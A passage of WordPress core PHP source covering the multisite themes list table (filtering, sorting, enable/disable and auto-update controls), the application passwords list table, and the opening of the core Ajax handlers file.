			$themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' );
			$allowed_where   = 'site';
		} else {
			$themes_per_page = $this->get_items_per_page( 'themes_network_per_page' );
			$allowed_where   = 'network';
		}

		$current      = get_site_transient( 'update_themes' );
		$maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current;

		foreach ( (array) $themes['all'] as $key => $theme ) {
			if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) {
				unset( $themes['all'][ $key ] );
				continue;
			}

			if ( $maybe_update && isset( $current->response[ $key ] ) ) {
				$themes['all'][ $key ]->update = true;
				$themes['upgrade'][ $key ]     = $themes['all'][ $key ];
			}

			$filter                    = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled';
			$themes[ $filter ][ $key ] = $themes['all'][ $key ];

			$theme_data = array(
				'update_supported' => isset( $theme->update_supported ) ? $theme->update_supported : true,
			);

			// Extra info if known. array_merge() ensures $theme_data has precedence if keys collide.
			if ( isset( $current->response[ $key ] ) ) {
				$theme_data = array_merge( (array) $current->response[ $key ], $theme_data );
			} elseif ( isset( $current->no_update[ $key ] ) ) {
				$theme_data = array_merge( (array) $current->no_update[ $key ], $theme_data );
			} else {
				$theme_data['update_supported'] = false;
			}

			$theme->update_supported = $theme_data['update_supported'];

			/*
			 * Create the expected payload for the auto_update_theme filter, this is the same data
			 * as contained within $updates or $no_updates but used when the Theme is not known.
			 */
			$filter_payload = array(
				'theme'        => $key,
				'new_version'  => '',
				'url'          => '',
				'package'      => '',
				'requires'     => '',
				'requires_php' => '',
			);

			$filter_payload = (object) array_merge( $filter_payload, array_intersect_key( $theme_data, $filter_payload ) );

			$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, $filter_payload );

			if ( ! is_null( $auto_update_forced ) ) {
				$theme->auto_update_forced = $auto_update_forced;
			}

			if ( $this->show_autoupdates ) {
				$enabled = in_array( $key, $auto_updates, true ) && $theme->update_supported;
				if ( isset( $theme->auto_update_forced ) ) {
					$enabled = (bool) $theme->auto_update_forced;
				}

				if ( $enabled ) {
					$themes['auto-update-enabled'][ $key ] = $theme;
				} else {
					$themes['auto-update-disabled'][ $key ] = $theme;
				}
			}
		}

		if ( $s ) {
			$status           = 'search';
			$themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) );
		}

		$totals    = array();
		$js_themes = array();
		foreach ( $themes as $type => $list ) {
			$totals[ $type ]    = count( $list );
			$js_themes[ $type ] = array_keys( $list );
		}

		if ( empty( $themes[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) {
			$status = 'all';
		}

		$this->items = $themes[ $status ];
		WP_Theme::sort_by_name( $this->items );

		$this->has_items = ! empty( $themes['all'] );
		$total_this_page = $totals[ $status ];

		wp_localize_script(
			'updates',
			'_wpUpdatesItemCounts',
			array(
				'themes' => $js_themes,
				'totals' => wp_get_update_data(),
			)
		);

		if ( $orderby ) {
			$orderby = ucfirst( $orderby );
			$order   = strtoupper( $order );

			if ( 'Name' === $orderby ) {
				if ( 'ASC' === $order ) {
					$this->items = array_reverse( $this->items );
				}
			} else {
				uasort( $this->items, array( $this, '_order_callback' ) );
			}
		}

		$start = ( $page - 1 ) * $themes_per_page;

		if ( $total_this_page > $themes_per_page ) {
			$this->items = array_slice( $this->items, $start, $themes_per_page, true );
		}

		$this->set_pagination_args(
			array(
				'total_items' => $total_this_page,
				'per_page'    => $themes_per_page,
			)
		);
	}

	/**
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function _search_callback( $theme ) {
		static $term = null;
		if ( is_null( $term ) ) {
			$term = wp_unslash( $_REQUEST['s'] );
		}

		foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) {
			// Don't mark up; Do translate.
			if ( false !== stripos( $theme->display( $field, false, true ), $term ) ) {
				return true;
			}
		}

		if ( false !== stripos( $theme->get_stylesheet(), $term ) ) {
			return true;
		}

		if ( false !== stripos( $theme->get_template(), $term ) ) {
			return true;
		}

		return false;
	}

	// Not used by any core columns.
	/**
	 * @global string $orderby
	 * @global string $order
	 * @param array $theme_a
	 * @param array $theme_b
	 * @return int
	 */
	public function _order_callback( $theme_a, $theme_b ) {
		global $orderby, $order;

		$a = $theme_a[ $orderby ];
		$b = $theme_b[ $orderby ];

		if ( $a === $b ) {
			return 0;
		}

		if ( 'DESC' === $order ) {
			return ( $a < $b ) ? 1 : -1;
		} else {
			return ( $a < $b ) ? -1 : 1;
		}
	}

	/**
	 */
	public function no_items() {
		if ( $this->has_items ) {
			_e( 'No themes found.' );
		} else {
			_e( 'No themes are currently available.' );
		}
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'          => '<input type="checkbox" />',
			'name'        => __( 'Theme' ),
			'description' => __( 'Description' ),
		);

		if ( $this->show_autoupdates ) {
			$columns['auto-updates'] = __( 'Automatic Updates' );
		}

		return $columns;
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'name' => array( 'name', false, __( 'Theme' ), __( 'Table ordered by Theme Name.' ), 'asc' ),
		);
	}

	/**
	 * Gets the name of the primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Unalterable name of the primary column name, in this case, 'name'.
	 */
	protected function get_primary_column_name() {
		return 'name';
	}

	/**
	 * @global array $totals
	 * @global string $status
	 * @return array
	 */
	protected function get_views() {
		global $totals, $status;

		$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( ! $count ) {
				continue;
			}

			switch ( $type ) {
				case 'all':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'All <span class="count">(%s)</span>',
						'All <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'enabled':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Enabled <span class="count">(%s)</span>',
						'Enabled <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'disabled':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Disabled <span class="count">(%s)</span>',
						'Disabled <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'upgrade':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Update Available <span class="count">(%s)</span>',
						'Update Available <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'broken':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Broken <span class="count">(%s)</span>',
						'Broken <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'auto-update-enabled':
					/* translators: %s: Number of themes. */
					$text = _n(
						'Auto-updates Enabled <span class="count">(%s)</span>',
						'Auto-updates Enabled <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-disabled':
					/* translators: %s: Number of themes. */
					$text = _n(
						'Auto-updates Disabled <span class="count">(%s)</span>',
						'Auto-updates Disabled <span class="count">(%s)</span>',
						$count
					);
					break;
			}

			if ( $this->is_site_themes ) {
				$url = 'site-themes.php?id=' . $this->site_id;
			} else {
				$url = 'themes.php';
			}

			if ( 'search' !== $type ) {
				$status_links[ $type ] = array(
					'url'     => esc_url( add_query_arg( 'theme_status', $type, $url ) ),
					'label'   => sprintf( $text, number_format_i18n( $count ) ),
					'current' => $type === $status,
				);
			}
		}

		return $this->get_views_links( $status_links );
	}

	/**
	 * @global string $status
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $status;

		$actions = array();
		if ( 'enabled' !== $status ) {
			$actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' );
		}
		if ( 'disabled' !== $status ) {
			$actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' );
		}
		if ( ! $this->is_site_themes ) {
			if ( current_user_can( 'update_themes' ) ) {
				$actions['update-selected'] = __( 'Update' );
			}
			if ( current_user_can( 'delete_themes' ) ) {
				$actions['delete-selected'] = __( 'Delete' );
			}
		}

		if ( $this->show_autoupdates ) {
			if ( 'auto-update-enabled' !== $status ) {
				$actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' );
			}

			if ( 'auto-update-disabled' !== $status ) {
				$actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' );
			}
		}

		return $actions;
	}

	/**
	 */
	public function display_rows() {
		foreach ( $this->items as $theme ) {
			$this->single_row( $theme );
		}
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Theme $item The current WP_Theme object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$theme = $item;

		$checkbox_id = 'checkbox_' . md5( $theme->get( 'Name' ) );
		?>
		<input type="checkbox" name="checked[]" value="<?php echo esc_attr( $theme->get_stylesheet() ); ?>" id="<?php echo $checkbox_id; ?>" />
		<label for="<?php echo $checkbox_id; ?>" >
			<span class="screen-reader-text">
			<?php
			printf(
				/* translators: Hidden accessibility text. %s: Theme name */
				__( 'Select %s' ),
				$theme->display( 'Name' )
			);
			?>
			</span>
		</label>
		<?php
	}

	/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global int    $page
	 * @global string $s
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_name( $theme ) {
		global $status, $page, $s;

		$context = $status;

		if ( $this->is_site_themes ) {
			$url     = "site-themes.php?id={$this->site_id}&amp;";
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$url     = 'themes.php?';
			$allowed = $theme->is_allowed( 'network' );
		}

		// Pre-order.
		$actions = array(
			'enable'  => '',
			'disable' => '',
			'delete'  => '',
		);

		$stylesheet = $theme->get_stylesheet();
		$theme_key  = urlencode( $stylesheet );

		if ( ! $allowed ) {
			if ( ! $theme->errors() ) {
				$url = add_query_arg(
					array(
						'action' => 'enable',
						'theme'  => $theme_key,
						'paged'  => $page,
						's'      => $s,
					),
					$url
				);

				if ( $this->is_site_themes ) {
					/* translators: %s: Theme name. */
					$aria_label = sprintf( __( 'Enable %s' ), $theme->display( 'Name' ) );
				} else {
					/* translators: %s: Theme name. */
					$aria_label = sprintf( __( 'Network Enable %s' ), $theme->display( 'Name' ) );
				}

				$actions['enable'] = sprintf(
					'<a href="%s" class="edit" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( $url, 'enable-theme_' . $stylesheet ) ),
					esc_attr( $aria_label ),
					( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) )
				);
			}
		} else {
			$url = add_query_arg(
				array(
					'action' => 'disable',
					'theme'  => $theme_key,
					'paged'  => $page,
					's'      => $s,
				),
				$url
			);

			if ( $this->is_site_themes ) {
				/* translators: %s: Theme name. */
				$aria_label = sprintf( __( 'Disable %s' ), $theme->display( 'Name' ) );
			} else {
				/* translators: %s: Theme name. */
				$aria_label = sprintf( __( 'Network Disable %s' ), $theme->display( 'Name' ) );
			}

			$actions['disable'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'disable-theme_' . $stylesheet ) ),
				esc_attr( $aria_label ),
				( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) )
			);
		}

		if ( ! $allowed && ! $this->is_site_themes
			&& current_user_can( 'delete_themes' )
			&& get_option( 'stylesheet' ) !== $stylesheet
			&& get_option( 'template' ) !== $stylesheet
		) {
			$url = add_query_arg(
				array(
					'action'       => 'delete-selected',
					'checked[]'    => $theme_key,
					'theme_status' => $context,
					'paged'        => $page,
					's'            => $s,
				),
				'themes.php'
			);

			/* translators: %s: Theme name. */
			$aria_label = sprintf( _x( 'Delete %s', 'theme' ), $theme->display( 'Name' ) );

			$actions['delete'] = sprintf(
				'<a href="%s" class="delete" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'bulk-themes' ) ),
				esc_attr( $aria_label ),
				__( 'Delete' )
			);
		}
		/**
		 * Filters the action links displayed for each theme in the Multisite
		 * themes list table.
		 *
		 * The action links displayed are determined by the theme's status, and
		 * which Multisite themes list table is being displayed - the Network
		 * themes list table (themes.php), which displays all installed themes,
		 * or the Site themes list table (site-themes.php), which displays the
		 * non-network enabled themes when editing a site in the Network admin.
		 *
		 * The default action links for the Network themes list table include
		 * 'Network Enable', 'Network Disable', and 'Delete'.
		 *
		 * The default action links for the Site themes list table include
		 * 'Enable', and 'Disable'.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context );

		/**
		 * Filters the action links of a specific theme in the Multisite themes
		 * list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, which in most cases is synonymous
		 * with the template name.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, $context );

		echo $this->row_actions( $actions, true );
	}

	/**
	 * Handles the description column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_description( $theme ) {
		global $status, $totals;

		if ( $theme->errors() ) {
			$pre = 'broken' === $status ? __( 'Broken Theme:' ) . ' ' : '';
			echo '<p><strong class="error-message">' . $pre . $theme->errors()->get_error_message() . '</strong></p>';
		}

		if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

		$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
			$class .= ' update';
		}

		echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div>
			<div class='$class second theme-version-author-uri'>";

		$stylesheet = $theme->get_stylesheet();
		$theme_meta = array();

		if ( $theme->get( 'Version' ) ) {
			/* translators: %s: Theme version. */
			$theme_meta[] = sprintf( __( 'Version %s' ), $theme->display( 'Version' ) );
		}

		/* translators: %s: Theme author. */
		$theme_meta[] = sprintf( __( 'By %s' ), $theme->display( 'Author' ) );

		if ( $theme->get( 'ThemeURI' ) ) {
			/* translators: %s: Theme name. */
			$aria_label = sprintf( __( 'Visit theme site for %s' ), $theme->display( 'Name' ) );

			$theme_meta[] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				$theme->display( 'ThemeURI' ),
				esc_attr( $aria_label ),
				__( 'Visit Theme Site' )
			);
		}

		if ( $theme->parent() ) {
			$theme_meta[] = sprintf(
				/* translators: %s: Theme name. */
				__( 'Child theme of %s' ),
				'<strong>' . $theme->parent()->display( 'Name' ) . '</strong>'
			);
		}

		/**
		 * Filters the array of row meta for each theme in the Multisite themes
		 * list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $theme_meta An array of the theme's metadata, including
		 *                             the version, author, and theme URI.
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		$theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status );

		echo implode( ' | ', $theme_meta );

		echo '</div>';
	}

	/**
	 * Handles the auto-updates column output.
	 *
	 * @since 5.5.0
	 *
	 * @global string $status
	 * @global int  $page
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_autoupdates( $theme ) {
		global $status, $page;

		static $auto_updates, $available_updates;

		if ( ! $auto_updates ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );
		}
		if ( ! $available_updates ) {
			$available_updates = get_site_transient( 'update_themes' );
		}

		$stylesheet = $theme->get_stylesheet();

		if ( isset( $theme->auto_update_forced ) ) {
			if ( $theme->auto_update_forced ) {
				// Forced on.
				$text = __( 'Auto-updates enabled' );
			} else {
				$text = __( 'Auto-updates disabled' );
			}
			$action     = 'unavailable';
			$time_class = ' hidden';
		} elseif ( empty( $theme->update_supported ) ) {
			$text       = '';
			$action     = 'unavailable';
			$time_class = ' hidden';
		} elseif ( in_array( $stylesheet, $auto_updates, true ) ) {
			$text       = __( 'Disable auto-updates' );
			$action     = 'disable';
			$time_class = '';
		} else {
			$text       = __( 'Enable auto-updates' );
			$action     = 'enable';
			$time_class = ' hidden';
		}

		$query_args = array(
			'action'       => "{$action}-auto-update",
			'theme'        => $stylesheet,
			'paged'        => $page,
			'theme_status' => $status,
		);

		$url = add_query_arg( $query_args, 'themes.php' );

		if ( 'unavailable' === $action ) {
			$html[] = '<span class="label">' . $text . '</span>';
		} else {
			$html[] = sprintf(
				'<a href="%s" class="toggle-auto-update aria-button-if-js" data-wp-action="%s">',
				wp_nonce_url( $url, 'updates' ),
				$action
			);

			$html[] = '<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span>';
			$html[] = '<span class="label">' . $text . '</span>';
			$html[] = '</a>';

		}

		if ( isset( $available_updates->response[ $stylesheet ] ) ) {
			$html[] = sprintf(
				'<div class="auto-update-time%s">%s</div>',
				$time_class,
				wp_get_auto_update_message()
			);
		}

		$html = implode( '', $html );

		/**
		 * Filters the HTML of the auto-updates setting for each theme in the Themes list table.
		 *
		 * @since 5.5.0
		 *
		 * @param string   $html       The HTML for theme's auto-update setting, including
		 *                             toggle auto-update action link and time to next update.
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      WP_Theme object.
		 */
		echo apply_filters( 'theme_auto_update_setting_html', $html, $stylesheet, $theme );

		wp_admin_notice(
			'',
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
			)
		);
	}

	/**
	 * Handles default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Theme $item        The current WP_Theme object.
	 * @param string   $column_name The current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$theme = $item;

		$stylesheet = $theme->get_stylesheet();

		/**
		 * Fires inside each custom column of the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $column_name Name of the column.
		 * @param string   $stylesheet  Directory name of the theme.
		 * @param WP_Theme $theme       Current WP_Theme object.
		 */
		do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme );
	}

	/**
	 * Handles the output for a single table row.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $item The current WP_Theme object.
	 */
	public function single_row_columns( $item ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		foreach ( $columns as $column_name => $column_display_name ) {
			$extra_classes = '';
			if ( in_array( $column_name, $hidden, true ) ) {
				$extra_classes .= ' hidden';
			}

			switch ( $column_name ) {
				case 'cb':
					echo '<th scope="row" class="check-column">';

					$this->column_cb( $item );

					echo '</th>';
					break;

				case 'name':
					$active_theme_label = '';

					/* The presence of the site_id property means that this is a subsite view and a label for the active theme needs to be added */
					if ( ! empty( $this->site_id ) ) {
						$stylesheet = get_blog_option( $this->site_id, 'stylesheet' );
						$template   = get_blog_option( $this->site_id, 'template' );

						/* Add a label for the active template */
						if ( $item->get_template() === $template ) {
							$active_theme_label = ' &mdash; ' . __( 'Active Theme' );
						}

						/* In case this is a child theme, label it properly */
						if ( $stylesheet !== $template && $item->get_stylesheet() === $stylesheet ) {
							$active_theme_label = ' &mdash; ' . __( 'Active Child Theme' );
						}
					}

					echo "<td class='theme-title column-primary{$extra_classes}'><strong>" . $item->display( 'Name' ) . $active_theme_label . '</strong>';

					$this->column_name( $item );

					echo '</td>';
					break;

				case 'description':
					echo "<td class='column-description desc{$extra_classes}'>";

					$this->column_description( $item );

					echo '</td>';
					break;

				case 'auto-updates':
					echo "<td class='column-auto-updates{$extra_classes}'>";

					$this->column_autoupdates( $item );

					echo '</td>';
					break;
				default:
					echo "<td class='$column_name column-$column_name{$extra_classes}'>";

					$this->column_default( $item, $column_name );

					echo '</td>';
					break;
			}
		}
	}

	/**
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme
	 */
	public function single_row( $theme ) {
		global $status, $totals;

		if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

		$stylesheet = $theme->get_stylesheet();

		$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
			$class .= ' update';
		}

		printf(
			'<tr class="%s" data-slug="%s">',
			esc_attr( $class ),
			esc_attr( $stylesheet )
		);

		$this->single_row_columns( $theme );

		echo '</tr>';

		if ( $this->is_site_themes ) {
			remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' );
		}

		/**
		 * Fires after each row in the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( 'after_theme_row', $stylesheet, $theme, $status );

		/**
		 * Fires after each specific row in the Multisite themes list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, most often synonymous with the template
		 * name of the theme.
		 *
		 * @since 3.5.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( "after_theme_row_{$stylesheet}", $stylesheet, $theme, $status );
	}
}
<?php
/**
 * List Table API: WP_Application_Passwords_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 5.6.0
 */

/**
 * Class for displaying the list of application password items.
 *
 * @since 5.6.0
 *
 * @see WP_List_Table
 */
class WP_Application_Passwords_List_Table extends WP_List_Table {

	/**
	 * Gets the list of columns.
	 *
	 * @since 5.6.0
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array(
			'name'      => __( 'Name' ),
			'created'   => __( 'Created' ),
			'last_used' => __( 'Last Used' ),
			'last_ip'   => __( 'Last IP' ),
			'revoke'    => __( 'Revoke' ),
		);
	}

	/**
	 * Prepares the list of items for displaying.
	 *
	 * @since 5.6.0
	 *
	 * @global int $user_id User ID.
	 */
	public function prepare_items() {
		global $user_id;
		$this->items = array_reverse( WP_Application_Passwords::get_user_application_passwords( $user_id ) );
	}

	/**
	 * Handles the name column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_name( $item ) {
		echo esc_html( $item['name'] );
	}

	/**
	 * Handles the created column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_created( $item ) {
		if ( empty( $item['created'] ) ) {
			echo '&mdash;';
		} else {
			echo date_i18n( __( 'F j, Y' ), $item['created'] );
		}
	}

	/**
	 * Handles the last used column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_last_used( $item ) {
		if ( empty( $item['last_used'] ) ) {
			echo '&mdash;';
		} else {
			echo date_i18n( __( 'F j, Y' ), $item['last_used'] );
		}
	}

	/**
	 * Handles the last ip column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_last_ip( $item ) {
		if ( empty( $item['last_ip'] ) ) {
			echo '&mdash;';
		} else {
			echo $item['last_ip'];
		}
	}

	/**
	 * Handles the revoke column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_revoke( $item ) {
		$name = 'revoke-application-password-' . $item['uuid'];
		printf(
			'<button type="button" name="%1$s" id="%1$s" class="button delete" aria-label="%2$s">%3$s</button>',
			esc_attr( $name ),
			/* translators: %s: the application password's given name. */
			esc_attr( sprintf( __( 'Revoke "%s"' ), $item['name'] ) ),
			__( 'Revoke' )
		);
	}

	/**
	 * Generates content for a single row of the table
	 *
	 * @since 5.6.0
	 *
	 * @param array  $item        The current item.
	 * @param string $column_name The current column name.
	 */
	protected function column_default( $item, $column_name ) {
		/**
		 * Fires for each custom column in the Application Passwords list table.
		 *
		 * Custom columns are registered using the {@see 'manage_application-passwords-user_columns'} filter.
		 *
		 * @since 5.6.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param array  $item        The application password item.
		 */
		do_action( "manage_{$this->screen->id}_custom_column", $column_name, $item );
	}

	/**
	 * Generates custom table navigation to prevent conflicting nonces.
	 *
	 * @since 5.6.0
	 *
	 * @param string $which The location of the bulk actions: Either 'top' or 'bottom'.
	 */
	protected function display_tablenav( $which ) {
		?>
		<div class="tablenav <?php echo esc_attr( $which ); ?>">
			<?php if ( 'bottom' === $which ) : ?>
				<div class="alignright">
					<button type="button" name="revoke-all-application-passwords" id="revoke-all-application-passwords" class="button delete"><?php _e( 'Revoke all application passwords' ); ?></button>
				</div>
			<?php endif; ?>
			<div class="alignleft actions bulkactions">
				<?php $this->bulk_actions( $which ); ?>
			</div>
			<?php
			$this->extra_tablenav( $which );
			$this->pagination( $which );
			?>
			<br class="clear" />
		</div>
		<?php
	}

	/**
	 * Generates content for a single row of the table.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current item.
	 */
	public function single_row( $item ) {
		echo '<tr data-uuid="' . esc_attr( $item['uuid'] ) . '">';
		$this->single_row_columns( $item );
		echo '</tr>';
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 5.6.0
	 *
	 * @return string Name of the default primary column, in this case, 'name'.
	 */
	protected function get_default_primary_column_name() {
		return 'name';
	}

	/**
	 * Prints the JavaScript template for the new row item.
	 *
	 * @since 5.6.0
	 */
	public function print_js_template_row() {
		list( $columns, $hidden, , $primary ) = $this->get_column_info();

		echo '<tr data-uuid="{{ data.uuid }}">';

		foreach ( $columns as $column_name => $display_name ) {
			$is_primary = $primary === $column_name;
			$classes    = "{$column_name} column-{$column_name}";

			if ( $is_primary ) {
				$classes .= ' has-row-actions column-primary';
			}

			if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

			printf( '<td class="%s" data-colname="%s">', esc_attr( $classes ), esc_attr( wp_strip_all_tags( $display_name ) ) );

			switch ( $column_name ) {
				case 'name':
					echo '{{ data.name }}';
					break;
				case 'created':
					// JSON encoding automatically doubles backslashes to ensure they don't get lost when printing the inline JS.
					echo '<# print( wp.date.dateI18n( ' . wp_json_encode( __( 'F j, Y' ) ) . ', data.created ) ) #>';
					break;
				case 'last_used':
					echo '<# print( data.last_used !== null ? wp.date.dateI18n( ' . wp_json_encode( __( 'F j, Y' ) ) . ", data.last_used ) : '—' ) #>";
					break;
				case 'last_ip':
					echo "{{ data.last_ip || '—' }}";
					break;
				case 'revoke':
					printf(
						'<button type="button" class="button delete" aria-label="%1$s">%2$s</button>',
						/* translators: %s: the application password's given name. */
						esc_attr( sprintf( __( 'Revoke "%s"' ), '{{ data.name }}' ) ),
						esc_html__( 'Revoke' )
					);
					break;
				default:
					/**
					 * Fires in the JavaScript row template for each custom column in the Application Passwords list table.
					 *
					 * Custom columns are registered using the {@see 'manage_application-passwords-user_columns'} filter.
					 *
					 * @since 5.6.0
					 *
					 * @param string $column_name Name of the custom column.
					 */
					do_action( "manage_{$this->screen->id}_custom_column_js_template", $column_name );
					break;
			}

			if ( $is_primary ) {
				echo '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
					/* translators: Hidden accessibility text. */
					__( 'Show more details' ) .
				'</span></button>';
			}

			echo '</td>';
		}

		echo '</tr>';
	}
}
<?php
/**
 * Administration API: Core Ajax handlers
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.1.0
 */

//
// No-privilege Ajax handlers.
//

/**
 * Handles the Heartbeat API in the no-privilege context via AJAX .
 *
 * Runs when the user is not logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_nopriv_heartbeat() {
	$response = array();

	// 'screen_id' is the same as $current_screen->id and the JS global 'pagenow'.
	if ( ! empty( $_POST['screen_id'] ) ) {
		$screen_id = sanitize_key( $_POST['screen_id'] );
	} else {
		$screen_id = 'front';
	}

	if ( ! empty( $_POST['data'] ) ) {
		$data = wp_unslash( (array) $_POST['data'] );

		/**
		 * Filters Heartbeat Ajax response in no-privilege environments.
		 *
		 * @since 3.6.0
		 *
		 * @param array  $response  The no-priv Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
	}

	/**
	 * Filters Heartbeat Ajax response in no-privilege environments when no data is passed.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The no-priv Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );

	/**
	 * Fires when Heartbeat ticks in no-privilege environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The no-priv Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	do_action( 'heartbeat_nopriv_tick', $response, $screen_id );

	// Send the current time according to the server.
	$response['server_time'] = time();

	wp_send_json( $response );
}

//
// GET-based Ajax handlers.
//

/**
 * Handles fetching a list table via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_fetch_list() {
	$list_class = $_GET['list_args']['class'];
	check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );

	$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
	if ( ! $wp_list_table ) {
